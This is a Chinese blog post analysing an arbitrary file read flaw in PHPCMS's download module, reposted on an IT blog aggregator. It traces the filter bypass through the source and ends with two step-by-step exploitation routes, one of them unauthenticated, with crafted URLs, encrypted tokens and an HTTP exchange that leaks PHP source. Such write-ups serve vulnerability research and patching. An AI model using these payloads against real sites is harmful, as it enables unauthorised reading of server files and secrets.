IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    PHPCMS任意文件读取漏洞分析

    没穿底裤发表于 2017-05-03 10:59:00
    love 0

    此次的任意文件读取漏洞也出现在down类中,上次的sql注入也是这里的坑,所以应该叫继续分析吧,先来看漏洞触发点:

    /phpcms/modules/content/down.php Line 103-127

           if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
            $fileurl = trim($f);
            if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));    
            $endtime = SYS_TIME - $starttime;
            if($endtime > 3600) showmessage(L('url_invalid'));
            if($m) $fileurl = trim($s).trim($fileurl);
           if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
            //远程文件
            if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { 
                header("Location: $fileurl");
            } else {
                if($d == 0) {
                    header("Location: ".$fileurl);
                } else {
                    $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
                    $filename = basename($fileurl);
                    //处理中文文件
                    if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
                        $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
                        $filename = urldecode(basename($filename));
                    }
                    $ext = fileext($filename);
                    $filename = date('Ymd_his').random(3).'.'.$ext;
                    $fileurl = str_replace(array('<','>'), '',$fileurl);
                    file_down($fileurl, $filename);

    最后一行有file_down函数,跟进去看一下:phpcms/libs/functions/global.fun.php Line 1187-1204

    function file_down($filepath, $filename = '') {
        if(!$filename) $filename = basename($filepath);
        if(is_ie()) $filename = rawurlencode($filename);
        $filetype = fileext($filename);
        $filesize = sprintf("%u", filesize($filepath));
        if(ob_get_length() !== false) @ob_end_clean();
        header('Pragma: public');
        header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
        header('Cache-Control: no-store, no-cache, must-revalidate');
        header('Cache-Control: pre-check=0, post-check=0, max-age=0');
        header('Content-Transfer-Encoding: binary');
        header('Content-Encoding: none');
        header('Content-type: '.$filetype);
        header('Content-Disposition: attachment; filename="'.$filename.'"');
        header('Content-length: '.$filesize);
        readfile($filepath);
        exit;
    }

    就一个普通的文件下载方法,当$fileurl传入后会去下载指定文件,再回到down.php文件中,在执行file_down前是走了几次判断:

    (1)首先从头到尾判断$f参数中是否有php等服务端脚本文件,再看看是否带有”:\”外链文件,是否”..”目录跳转,满足其中一个条件就返回True。

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));

    满足后执行show message抛出错误信息,虽然没有exit结束程序,但是咱们的file_down是在二级if分支的else里面的,无法执行到目标函数。

    (2)接着$f的值赋给了$fileurl参数,再做了一次内容判断。

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));

    (3)将$s与$fileurl拼接起来,而$fileurl就是前面可控的$f:

    if($m) $fileurl = trim($s).trim($fileurl);

    (4)处理远程文件,如果是外链文件的话直接跳转到目标地址。

    if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
         header("Location: $fileurl");
    }

    接着走到else分支里面的str_replace,将$fileurl参数中的所有”>”、”<“参数替换为空值,这也是出现问题的函数,前面的后缀/目录跳转判断均可以绕过,可以发现需要控制的参数有 $s、$f,这俩参数在init函数中传进来的:

    /phpcms/modules/content/down.php Line 76-84

            if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
            if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
                $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
                $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
                $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
            } else {
                $downurl = $f;            
            }
            include template('content','download');

    这一块其实是down->init()的内容,将参数传到$a_k并进行sys_auth加密,然后传给了下面的download函数,这里的$a_k已经进行了encode加密操作:

    init函数与download函数中的$a_k变量保持加/解密钥的一致性:

    if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
                $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
                $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
    …
    …
    public function download() {
            $a_k = trim($_GET['a_k']);
            $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
            $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);

    密钥key:

    $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');

    再往下跟进:

    public function download() {
            $a_k = trim($_GET['a_k']);
            $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
            $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
            if(empty($a_k)) showmessage(L('illegal_parameters'));
            unset($i,$m,$f,$t,$ip);
            $a_k = safe_replace($a_k);
            parse_str($a_k);        
            if(isset($i)) $downid = intval($i);
            if(!isset($m)) showmessage(L('illegal_parameters'));
            if(!isset($modelid)) showmessage(L('illegal_parameters'));
            if(empty($f)) showmessage(L('url_invalid'));
            if(!$i || $m<0) showmessage(L('illegal_parameters'));
            if(!isset($t)) showmessage(L('illegal_parameters'));
            if(!isset($ip)) showmessage(L('illegal_parameters'));
            $starttime = intval($t);

    变量s和f来源于变量a_k带入parse_str解析,注意a_k在down->init()中经过safe_replace处理过一次,经过sys_auth解密,key无法获取,所以需要让系统来为我们生成加密串a_k:

    /phpcms/modules/content/down.php Line 11-18

    public function init() {
            $a_k = trim($_GET['a_k']);
            if(!isset($a_k)) showmessage(L('illegal_parameters'));
            $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
            if(empty($a_k)) showmessage(L('illegal_parameters'));
            unset($i,$m,$f);
            $a_k = safe_replace($a_k);
            parse_str($a_k);

    可以看出这里跟上次的sql注入点一样,获取了a_k进行了一次DECODE,那么咱们就需要一个加密好的key,最好的办法还是采用attachments模块的swfupload_json的加密cookie方法(跟之前的注入payload加密一个套路),这也是采用了phpcms功能的特性吧:

    /phpcms/modules/attachment/attachments.php LINE 239-253

    /**
         * 设置swfupload上传的json格式cookie
         */
        public function swfupload_json() {
            $arr['aid'] = intval($_GET['aid']);
            $arr['src'] = safe_replace(trim($_GET['src']));
            $arr['filename'] = urlencode(safe_replace($_GET['filename']));
            $json_str = json_encode($arr);
            $att_arr_exist = param::get_cookie('att_json');
            $att_arr_exist_tmp = explode('||', $att_arr_exist);
            if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
                return true;
            } else {
                $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
                param::set_cookie('att_json',$json_str);
                return true;            
            }
        }

    注意了这里也有一次safe_replace,加密函数在:param::set_cookie('att_json',$json_str);,跟进一下:

    /phpcms/libs/classes/param.class.php LINE 86-99

        public static function set_cookie($var, $value = '', $time = 0) {
            $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
            $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
            $httponly = $var=='userid'||$var=='auth'?true:false;
            $var = pc_base::load_config('system','cookie_pre').$var;
            $_COOKIE[$var] = $value;
            if (is_array($value)) {
                foreach($value as $k=>$v) {
                    setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
                }
            } else {
                setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
            }
        }

    sys_auth($value, 'ENCODE')即是利用了phpcms内置的加密函数进行数据加密,结果正好是咱们需要的,再看看attachments.php中是否有相关权限的验证:

    构造方法:
    /phpcms/modules/attachment/attachments.php LINE 10-24

    class attachments {
        private $att_db;
        function __construct() {
            pc_base::load_app_func('global');
            $this->upload_url = pc_base::load_config('system','upload_url');
            $this->upload_path = pc_base::load_config('system','upload_path');        
            $this->imgext = array('jpg','gif','png','bmp','jpeg');
            $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
            $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
            $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
            //判断是否登录
            if(empty($this->userid)){
                showmessage(L('please_login','','member'));
            }
        }
    $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

    从这里的userid来看是需要普通用户的权限

           if(empty($this->userid)){
                showmessage(L('please_login','','member'));
            }

    但是也可以传进加密后的userid_flash参数:sys_auth($_POST['userid_flash'],'DECODE')); 那么这里有两种利用方案,一种是直接通过phpcms会员中心登录获取的cookie中的userid做权限判断,还有一种方式是通过现成的经过sys_auth加密后的字符串去赋值给当前的userid,这里找到了一处,是利用了wap模块的构造方法:

    /phpcms/modules/wap/index.php

    class index {
        function __construct() {        
            $this->db = pc_base::load_model('content_model');
            $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
            param::set_cookie('siteid',$this->siteid);    
            $this->wap_site = getcache('wap_site','wap');
            $this->types = getcache('wap_type','wap');
            $this->wap = $this->wap_site[$this->siteid];
            define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
            if($this->wap['status']!=1) exit(L('wap_close_status'));
        }

    set_cookie跟进去就是调用sys_auth 加密函数来加密外部获取的sited值,将这里的siteid值再带入上面的userid_flash即可。

    接着再返回去看这两个可控参数:s=$s、f=$f,$s带需要读取的目标文件,$f带自己构造的绕过规则检测值:

    $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE’, $pc_auth_key));

    经过反复测试,可以采用如下参数,这里以读取down.php文件源码为例:

    s=./phpcms/modules/content/down.ph&f=p%3%25252%2*70C

    解释一下这里的参数,s参数带的是要读取的down.php的源码文件,最后的p是由f参数的第一个字符p拼接过去的:

            $fileurl = trim($f);
            if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));    
            $endtime = SYS_TIME - $starttime;
            if($endtime > 3600) showmessage(L('url_invalid'));
            if($m) $fileurl = trim($s).trim($fileurl);
            if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));

    f=p%3%25252%2*70C : f参数是绕过正则匹配检查的关键,最后咱们要构造这样的形式:./phpcms/modules/content/down.php<,这样就能绕过所有匹配检测在最后的str_replace将”<“给替换为空,紧接着就能带入读取文件了。

    再看看分析过程中遇到的phpcms安全函数safe_replace:

    /phpcms/libs/functions/global.func.php

    function safe_replace($string) {
        $string = str_replace('%20','',$string);
        $string = str_replace('%27','',$string);
        $string = str_replace('%2527','',$string);
        $string = str_replace('*','',$string);
        $string = str_replace('"','&quot;',$string);
        $string = str_replace("'",'',$string);
        $string = str_replace('"','',$string);
        $string = str_replace(';','',$string);
        $string = str_replace('<','&lt;',$string);
        $string = str_replace('>','&gt;',$string);
        $string = str_replace("{",'',$string);
        $string = str_replace('}','',$string);
        $string = str_replace('\\','',$string);
        return $string;
    }

    从过滤内容来看直接带”<“是不行的,需要构造参数,先来看看经过了几次过滤:

    第一次参数得经过attachments->swfupload_json函数进行param::set_cookie加密:

    最后输出的f=p%3C 就是咱们想要的”<“字符。

    漏洞利用
    方案一:
    登录普通用户,访问链接:

    http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C

    获取分配的att_json

    点击下载后即可下载目标文件

    方案二:
    在未登录的情况下访问:

    index.php?m=wap&c=index&a=init&siteid=1

    获取当前的siteid

    再访问

    /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
    Post
    userid_flash=14e0uml6m504Lbwsd0mKpCe0EocnqxTnbfm4PPLW

    根据返回页面的cookie里面的到lkbzk_att_json ,再组合获取下载页面的payload

    /index.php?m=content&c=down&siteid=1&a=init&a_k=1f6bAdyYhC91b9X981OrtRQ4roIiRXo_bRgqAj-Z2o5FgCysD2zg7ntavIs4AaMmJA_e9241GHehxteBqSTmS9yNj9o8to1DhDSAiaV5kTFK3mfLphPSlHJ7YiI6CVpRjMzEVpo6vhOh5IB56Q

    会返回一个下载地址。再访问下载地址就可以获取到文件内容了

    GET /index.php?m=content&c=down&a=download&a_k=976fLWUIDUHaVMnl_FtB4HdmjRb90l-uHZgmSo1Z4KHpB7tZB7RvDwPiIV6K6HtQ452IsyIrs38y8to35npWDPxaxdizTAWvZAVBJYBfJJIJgR56ajBIPd0vp4x2mmU6GUeQ HTTP/1.1
    Host: victim-server
    Accept-Encoding: gzip, deflate, sdch
    Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
    Content-Length: 0
    
    HTTP/1.1 200 OK
    Date: Wed, 03 May 2017 07:50:12 GMT
    Server: Microsoft-IIS/6.0
    X-Powered-By: ASP.NET
    X-Powered-By: PHP/5.3.6
    Vary: Accept-Encoding
    Pragma: public
    Last-Modified: Wed, 03 May 2017 07:50:12 GMT
    Cache-Control: pre-check=0, post-check=0, max-age=0
    Content-Transfer-Encoding: binary
    Content-Encoding: none
    Content-type: ph>p
    Content-Disposition: attachment; filename="20170503_035012279.ph>p"
    Content-length: 313
     
    <?php
    /**
     *  index.php PHPCMS 入口
     *
     * @copyright                   (C) 2005-2010 PHPCMS
     * @license                                 http://www.phpcms.cn/license/
     * @lastmodify                           2010-6-1
     */
     //PHPCMS根目录
     
    define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
     
    include PHPCMS_PATH.'/phpcms/base.php';
     
    pc_base::creat_app();
     
    ?>


沪ICP备19023445号-2号
友情链接